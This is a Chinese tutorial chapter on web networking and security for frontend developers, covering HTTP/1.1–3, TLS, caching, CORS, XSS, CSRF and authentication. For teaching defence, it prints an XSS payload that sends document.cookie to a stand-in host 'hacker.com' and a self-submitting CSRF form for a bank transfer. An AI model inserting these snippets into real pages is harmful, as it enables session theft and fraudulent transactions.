主题
第 24 章 · 网络与安全
一句话开篇:HTTP 是「快递公司的物流协议」,HTTPS 是「带封口贴的密封快递」,CORS 是「门卫的访客名单」,XSS/CSRF 是「冒充客人/伪造签名的小偷」——前端工程师必须把这些角色全搞清楚,否则上线一夜出大事。
0. 生活类比(先建立直觉)
把网络通信 + 安全想象成一家快递公司送快递:
| 真实场景 | 快递场景 |
|---|---|
| HTTP/1.1 | 单线程快递员,一次只送一单 |
| HTTP/2 多路复用 | 一辆大货车一次装满多个包裹,按编号分发 |
| HTTP/3 (QUIC) | 用电动车(UDP)跑,红绿灯也少(少握手) |
| HTTPS | 包裹外面贴了"国家邮政封条",路上有人撕开就能看出 |
| 强缓存 | 你冰箱里还有牛奶(保质期内),不用再叫快递 |
| 协商缓存 | 问超市"我家这瓶过期没?"超市说"没过期/过期了" |
| CORS | 你家门卫不让陌生人随便进,只让"白名单的朋友"进 |
| XSS | 邻居偷偷在你门口贴了张"按这里有惊喜",按下后家里被偷 |
| CSRF | 别人冒充你的签名,让快递员把你家东西拉走 |
| CSP | 你给门卫发了张"只允许这几家公司"白名单 |
这一章学完,你能讲清楚互联网通信的全貌 + 前端最常见的 5 大攻防。
1. HTTP 协议演进
1.1 三代版本对比
| 维度 | HTTP/1.1 (1997) | HTTP/2 (2015) | HTTP/3 (2022) |
|---|---|---|---|
| 传输层 | TCP | TCP | UDP(QUIC) |
| 多路复用 | ❌(要排队) | ✅(一个 TCP 多个流) | ✅(且无队头阻塞) |
| 头部压缩 | ❌ | ✅(HPACK) | ✅(QPACK) |
| 服务器推送 | ❌ | ✅(已被 Chrome 弃用) | 减弱 |
| 队头阻塞 | 有(应用层) | 解决了 HTTP 层,TCP 层仍有 | 彻底解决 |
| 默认加密 | ❌ | 事实上必须 HTTPS | 强制 |
| 0-RTT 重连 | ❌ | ❌ | ✅ |
1.2 HTTP/1.1 的痛点
浏览器 ──► 请求 a.js ──► [等等等] ──► 收到
──► 请求 b.css ──► [等等等] ──► 收到
──► 请求 c.png ──► [等等等] ──► 收到每个 TCP 连接同一时间只能传一个请求(队头阻塞)。浏览器解决方法:对同域名最多 6 个并发连接。资源多了就慢。
1.3 HTTP/2:多路复用
浏览器 ──┬─► 流 1: a.js ──┐
├─► 流 2: b.css ──┼─►【一条 TCP 上交错传输】
└─► 流 3: c.png ──┘一条 TCP 连接同时跑多个 stream,按帧(FRAME)交错传输,到达后按 stream id 重组。
头部压缩(HPACK):HTTP/1.1 每次都重复发 User-Agent、Cookie 这种几 KB 的头;HPACK 用静态表 + 动态表 + 哈夫曼编码,省 80%。
1.4 HTTP/3:用 UDP 解决 TCP 队头阻塞
HTTP/2 仍有问题:TCP 层的丢包会让所有 stream 一起卡住(TCP 必须按序收)。
HTTP/3 改用 UDP(QUIC 协议),每个 stream 独立 ACK,单 stream 丢包不影响其他。
TCP 视角(HTTP/2): ▓▓▓▓▓ ❌ ▓▓▓▓▓ 一个包丢了,整条连接停下重传
QUIC 视角(HTTP/3): ▓▓▓▓▓ 其他 stream 正常跑,仅丢失 stream 重传
▓▓▓ ❌ ▓▓
▓▓▓▓▓副作用:QUIC 是 UDP,部分企业防火墙会拦,需要回退到 HTTP/2/1.1。
2. HTTP 状态码
完整状态码很多,面试和工作中常考的就十几个:
| 类别 | 含义 | 常见码 |
|---|---|---|
| 1xx | 信息 | 100 Continue |
| 2xx | 成功 | 200 OK / 201 Created / 204 No Content |
| 3xx | 重定向 | 301永久 / 302临时 / 304 Not Modified |
| 4xx | 客户端错 | 400 / 401 未认证 / 403 禁止 / 404 / 405 / 429 限流 |
| 5xx | 服务端错 | 500 / 502 网关 / 503 服务不可用 / 504 网关超时 |
重点对比
301 vs 302:永久 vs 临时——浏览器会记住 301,下次直接跳;302 不会缓存。
304 Not Modified:协商缓存命中,无 body,省流量。
401 vs 403:401 = "你没认证"(要登录);403 = "你认证了但没权限"。
502 vs 504:
- 502 Bad Gateway:网关收到了上游的"无效响应"(如上游崩了)
- 504 Gateway Timeout:网关等了半天上游没回(上游慢)
3. HTTPS 原理
3.1 为什么要 HTTPS
HTTP 是明文传输,三大风险:
- 窃听:路上的网络设备能看到所有内容
- 篡改:能修改内容(最常见:运营商插广告)
- 冒充:能假装目标网站
3.2 加密三件套
| 加密方式 | 速度 | 密钥分发 | 用途 |
|---|---|---|---|
| 对称加密 | 快 | 双方需共享 | 大量数据加密 |
| 非对称加密 | 慢 | 公钥可公开 | 密钥协商、数字签名 |
| 哈希(摘要) | 极快 | 无密钥 | 完整性校验 |
HTTPS = 非对称加密协商出对称密钥 + 后续用对称加密通信 + 哈希校验完整性。
3.3 TLS 握手(简化版)
Client Server
│ │
│ 1. ClientHello │
│ ─────────────────────────────────────────► │ 支持的版本/套件、随机数 R1
│ │
│ 2. ServerHello + 证书 + 公钥 │
│ ◄───────────────────────────────────────── │ 选定版本/套件、随机数 R2、CA 签发的证书
│ │
│ 3. 验证证书(CA 链 + 域名 + 有效期) │
│ 生成预主密钥 R3,用公钥加密发回 │
│ ─────────────────────────────────────────► │
│ │
│ 双方根据 R1+R2+R3 算出对称密钥 │
│ │
│ 4. 后续通信用对称加密 │
│ ◄════════════════════════════════════════► │TLS 1.3 简化为 1-RTT(一次往返)就完成,比 1.2 的 2-RTT 快一半;甚至支持 0-RTT 重连。
3.4 证书
证书 = 域名 + 公钥 + CA 签名。
浏览器内置了一份"信任的 CA 列表",验证证书时:
- 域名匹配?
- 在有效期内?
- CA 签名能用 CA 公钥验证通过?
- CA 链能追溯到根 CA?
任何一项不通过,浏览器红屏警告。
4. HTTP 缓存(决策流程图)
┌────────────────────────────────────────────────────────────────┐
│ 请求一个资源 │
└────────────────────────────────────────────────────────────────┘
↓
┌────────────────────────────────────────────────────────────────┐
│ ① Service Worker 拦截到? │
│ 是 → 由 SW 决定(cache.match / fetch / 自定义) │
└────────────────────────────────────────────────────────────────┘
↓ 否
┌────────────────────────────────────────────────────────────────┐
│ ② Memory Cache(内存缓存)有效? │
│ 是 → 200 (from memory cache),关闭 tab 就没了 │
└────────────────────────────────────────────────────────────────┘
↓ 否
┌────────────────────────────────────────────────────────────────┐
│ ③ Disk Cache(磁盘缓存)+ Cache-Control 没过期? │
│ 是 → 200 (from disk cache),强缓存命中 │
└────────────────────────────────────────────────────────────────┘
↓ 否
┌────────────────────────────────────────────────────────────────┐
│ ④ 协商缓存:发请求带 │
│ If-None-Match: <ETag> │
│ If-Modified-Since: <Last-Modified> │
│ ───────────────────────────────────────────────── │
│ 服务器对比: │
│ ETag 一致 / 文件未修改 → 304 Not Modified(无 body) │
│ 否则 → 200 + 新内容 + 新 ETag │
└────────────────────────────────────────────────────────────────┘关键 Header
| Header | 作用 | 例子 |
|---|---|---|
Cache-Control | 强缓存策略(最高优先级) | max-age=31536000, immutable |
Expires | 过期时间(绝对时间,已不推荐) | Wed, 21 Oct 2026 07:28:00 GMT |
ETag | 资源版本指纹(内容哈希) | "a3f9c4" |
Last-Modified | 资源最后修改时间 | Wed, 21 Oct 2026 07:28:00 GMT |
If-None-Match | 请求带上以前收到的 ETag | "a3f9c4" |
If-Modified-Since | 请求带上以前收到的 Last-Modified | (同上) |
Cache-Control 常见值
| 值 | 含义 |
|---|---|
max-age=31536000 | 1 年内强缓存有效 |
no-cache | 不走强缓存,必须走协商缓存 |
no-store | 完全不缓存 |
public | 任意中间节点(CDN)可缓存 |
private | 只有终端浏览器可缓存 |
immutable | 内容永不变(带 hash 的资源) |
s-maxage=N | CDN/代理使用的过期时间,覆盖 max-age |
stale-while-revalidate=N | 过期后先用旧的,后台刷新 |
实战策略
| 资源类型 | 推荐策略 |
|---|---|
index.html | Cache-Control: no-cache |
app.[hash].js/css | Cache-Control: max-age=31536000, immutable |
| 图片 | Cache-Control: max-age=2592000 |
| 动态 API | Cache-Control: no-store |
5. 跨域(CORS)
5.1 什么是跨域
同源策略:协议、域名、端口三者完全相同才是"同源",否则跨域。
| URL | 与 https://a.com/x |
|---|---|
https://a.com/y | 同源 ✅ |
http://a.com/x | 跨域(协议不同)❌ |
https://b.com/x | 跨域(域名不同)❌ |
https://a.com:8080/x | 跨域(端口不同)❌ |
https://api.a.com/x | 跨域(子域不同)❌ |
跨域时,浏览器会默认拒绝返回的响应(请求其实发出去了,只是 JS 拿不到结果)。
5.2 CORS:服务端给浏览器"通行证"
CORS = Cross-Origin Resource Sharing,通过 HTTP 响应头放行。
简单请求 vs 复杂请求
满足以下全部条件 = 简单请求,不预检:
- 方法是 GET / HEAD / POST
- Content-Type 是
text/plain/application/x-www-form-urlencoded/multipart/form-data - 不带自定义 header
否则 = 复杂请求,浏览器先发一次 OPTIONS 预检,问服务端"我能不能这样请求"。
预检流程
浏览器 服务器
│ │
│ OPTIONS /api/x │
│ Origin: https://a.com │
│ Access-Control-Request-Method: PUT │
│ Access-Control-Request-Headers: X-Token │
│ ────────────────────────────────────────► │
│ │
│ 204 No Content │
│ Access-Control-Allow-Origin: https://a.com │
│ Access-Control-Allow-Methods: PUT, POST │
│ Access-Control-Allow-Headers: X-Token │
│ Access-Control-Allow-Credentials: true │
│ Access-Control-Max-Age: 600 │ 缓存预检结果 600s
│ ◄──────────────────────────────────────── │
│ │
│ PUT /api/x (真正的请求) │
│ ────────────────────────────────────────► │关键响应头
| Header | 作用 |
|---|---|
Access-Control-Allow-Origin | 允许的来源(不能用 * 配 Cookie) |
Access-Control-Allow-Methods | 允许的方法 |
Access-Control-Allow-Headers | 允许的自定义请求头 |
Access-Control-Allow-Credentials | 是否允许带 Cookie |
Access-Control-Max-Age | 预检结果缓存时间 |
Access-Control-Expose-Headers | JS 能读取的响应头 |
5.3 其他跨域方案
| 方案 | 原理 | 适用 |
|---|---|---|
| CORS | 服务端响应头放行 | 现代标准 ✅ |
| JSONP | 利用 <script> 标签可跨域,回调函数 | 古老兼容(仅 GET) |
| postMessage | 跨窗口通信 | iframe 跨源 |
| 代理 | 同域 Web 服务器转发到其他域 | 开发环境(Vite proxy) |
| WebSocket | 协议本身不受同源策略限制 | 实时通信 |
5.4 JSONP 简版
html
<script>
function onUser(data) { console.log(data); }
</script>
<script src="https://api.com/user?callback=onUser"></script>
<!-- 服务端返回: onUser({ id: 1, name: 'alice' }) -->⚠️ JSONP 只能 GET,且对方服务器要支持。安全性差(执行的是任意 JS)。
6. 安全:5 大攻击 + 防御
6.1 XSS(Cross-Site Scripting,跨站脚本)
本质:把恶意脚本注入到网页里,被其他用户的浏览器执行。
三种类型
| 类型 | 攻击代码存在哪儿 | 例子 |
|---|---|---|
| 存储型 | 服务端数据库(最危险) | 评论里写 <script>... |
| 反射型 | URL 参数(一次性) | ?q=<script>... |
| DOM 型 | 完全在前端 | location.hash 拼到 DOM |
攻击代码
html
<!-- 评论框输入 -->
<script>fetch('https://hacker.com/?c=' + document.cookie)</script>如果服务端没转义就存数据库,下一个用户加载页面 → cookie 被偷。
防御代码
js
// ❌ 危险:直接 innerHTML
div.innerHTML = userInput;
// ✅ 安全 1:用 textContent,不解析 HTML
div.textContent = userInput;
// ✅ 安全 2:HTML 转义(手写或用库)
function escapeHtml(s) {
return s.replace(/[&<>"']/g, c => ({
'&': '&', '<': '<', '>': '>', '"': '"', "'": ''',
}[c]));
}
div.innerHTML = escapeHtml(userInput);
// ✅ 安全 3:CSP(内容安全策略),从 HTTP 响应头限制可加载源
// Content-Security-Policy: script-src 'self'; object-src 'none';
// ✅ 安全 4:HttpOnly Cookie,JS 读不到
// Set-Cookie: token=xxx; HttpOnly; Secure; SameSite=StrictCSP(Content Security Policy)
Content-Security-Policy: default-src 'self';
script-src 'self' https://cdn.example.com;
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
object-src 'none';
base-uri 'self';
report-uri /csp-report;CSP 是纵深防御——即使代码漏掉了转义,浏览器也不会执行外部脚本。
6.2 CSRF(Cross-Site Request Forgery,跨站请求伪造)
本质:用户已登录 A 站,访问 B 站时,B 站偷偷向 A 站发请求,浏览器自动带上 A 站 cookie,A 站以为是用户操作。
攻击代码
html
<!-- hacker.com/evil.html -->
<img src="https://bank.com/transfer?to=hacker&amount=10000" />
<!-- 或 POST 表单 -->
<form action="https://bank.com/transfer" method="POST">
<input name="to" value="hacker" />
<input name="amount" value="10000" />
</form>
<script>document.forms[0].submit()</script>用户访问 evil.html → 自动带上 bank.com 的 cookie → 转账成功。
防御代码
1. SameSite Cookie(最重要)
Set-Cookie: token=xxx; SameSite=Lax; Secure; HttpOnly| SameSite 值 | 行为 |
|---|---|
Strict | 完全不发跨站 |
Lax | 顶级导航(点链接进来)发;POST/iframe/img 不发 |
None | 跨站也发(必须配 Secure) |
现代浏览器默认
Lax,已能挡住绝大多数 CSRF。
2. CSRF Token
服务端在表单/响应里塞一个随机 token,提交时一起带上,服务端校验:
html
<form>
<input type="hidden" name="csrf_token" value="abc123..." />
</form>js
// 或者放在 header
fetch('/api/transfer', {
method: 'POST',
headers: { 'X-CSRF-Token': csrfToken },
body: JSON.stringify({ ... }),
});3. 双重 Cookie 校验
请求时:
Cookie: csrfToken=abc
请求体或 Header: csrfToken=abc
服务端校验两者是否相等。攻击者拿不到第三方域名的 cookie,所以伪造不出第二个值。
4. 校验 Referer / Origin
服务端检查请求来源是否是白名单域名。注意:Referer 可被浏览器策略禁用,建议两者都校验。
6.3 点击劫持(Clickjacking)
本质:把目标页面用透明 iframe 嵌到攻击页面上,诱导用户"点空白"实际点的是目标页按钮。
防御:
X-Frame-Options: DENY # 禁止任何页面 iframe 嵌入
X-Frame-Options: SAMEORIGIN # 仅同源可嵌入
# 或更现代:
Content-Security-Policy: frame-ancestors 'self';6.4 中间人攻击(MITM)
本质:在你和服务器之间插入一个"中间人"窃听/篡改。
防御:HTTPS + HSTS。
Strict-Transport-Security: max-age=63072000; includeSubDomains; preload效果:浏览器记住"这个域名只能 HTTPS",下次自动升级,避免 SSL Strip。
6.5 SQL 注入(前端视角)
SQL 注入是后端的锅,但前端要做"第一道防线":
- 输入校验(限制长度、字符集)
- 不在前端拼 SQL(永远不要把 SQL 字符串发给后端)
- 上报可疑输入
后端必须用参数化查询/ORM,不能拼字符串。
7. 鉴权方案
7.1 Cookie + Session(传统)
登录:
浏览器 ───POST /login───► 服务器
浏览器 ◄──Set-Cookie: sid=xxx── 服务器(在内存/Redis 里存 sid → user)
后续请求:
浏览器 ───Cookie: sid=xxx───► 服务器查 sid 得到用户优点:服务端可控(注销立即失效)。 缺点:服务端要存状态,分布式难(要 Redis);跨域麻烦。
7.2 Token(JWT)
JWT = Header.Payload.Signature(三段 base64)。
登录:
浏览器 ───POST /login───► 服务器
浏览器 ◄──{ token: 'eyJhbGc...' }── 服务器(用密钥签名生成)
后续请求:
浏览器 ───Authorization: Bearer eyJhbGc...───►
服务器验签即可,不查 DB优点:无状态,水平扩展容易;适合移动端、SPA。 缺点:注销难(除非维护黑名单);payload 体积大;建议短期 + refresh token。
⚠️ JWT 的 payload 是 base64 编码,不是加密!别在里面放敏感信息。
7.3 OAuth 2.0(第三方登录)
最常见的"用 GitHub 登录"流程(授权码模式):
1. 用户点"GitHub 登录",跳转到 GitHub 授权页
?client_id=xxx&redirect_uri=https://app.com/cb&scope=user:email
2. 用户同意 → GitHub 跳回 redirect_uri?code=ABC
3. 你的后端拿 code + client_secret → POST GitHub /oauth/token
4. GitHub 返回 access_token
5. 你的后端用 access_token 调 GitHub API 拿用户信息
6. 你的后端创建本地 session/jwt 给前端为什么不直接给 token?因为 client_secret 不能暴露在前端,必须后端中转。
7.4 SSO(单点登录)
公司 N 个系统,登录一次全部生效。常见实现:
- 同顶级域名:Cookie 设到
.company.com,所有子域共享 - CAS / OAuth / OIDC:通过中央认证中心颁发 token
8. ⚠️ 易踩的坑
Access-Control-Allow-Origin: *配Allow-Credentials: true——浏览器会拒绝。带 Cookie 必须明确写来源。CSRF Token 放在 GET 参数里——容易被 Referer 泄漏。放 Header 或 POST body。
JWT payload 当加密用——只是 base64。任何人都能解码。
Cookie 不设
Secure——HTTP 页面会泄漏 cookie。生产必须Secure + HttpOnly + SameSite。只在前端做校验,后端不校验——所有前端校验都能被绕过(DevTools 改包就行)。前端做体验,后端兜底。
innerHTML处理用户输入——XSS 经典入口。改textContent或转义。CSP 加
'unsafe-inline'——基本等于没加,等于允许任意内联脚本。以为 HTTPS 就万事大吉——HTTPS 只解决传输层;XSS/CSRF/SQL 注入仍然能打。
CORS 在线上不生效——常见原因:CDN/Nginx 把 OPTIONS 拦了,没透传到后端;或多个
Access-Control-Allow-Origin头。强缓存了 HTML——发布新版本,老用户怎么也刷不出来。HTML 必须
no-cache。预检请求触发 401——OPTIONS 不带 cookie,被鉴权中间件挡了。需放行 OPTIONS。
图片热链导致 Referer 防盗链失败——
<meta name="referrer" content="no-referrer">会清空所有 Referer。
9. 一句话总结
网络与安全 = 通信协议 + 缓存策略 + 跨域 + 攻防:HTTP 用 1/2/3 演进解决了"快",HTTPS 用 TLS 解决了"安全",CORS 用响应头解决了"跨域",XSS/CSRF/CSP/SameSite 解决了"攻防"——这一章是前端和后端的边界,也是面试官最爱挑刺的地方。
10. 延伸阅读
- MDN · HTTP
- OWASP Top 10 — 业界公认的 Web 安全圣经
- Content Security Policy Reference
- HTTP/3 explained
- 《图解 HTTP》(上野宣)
- 《白帽子讲 Web 安全》(吴翰清)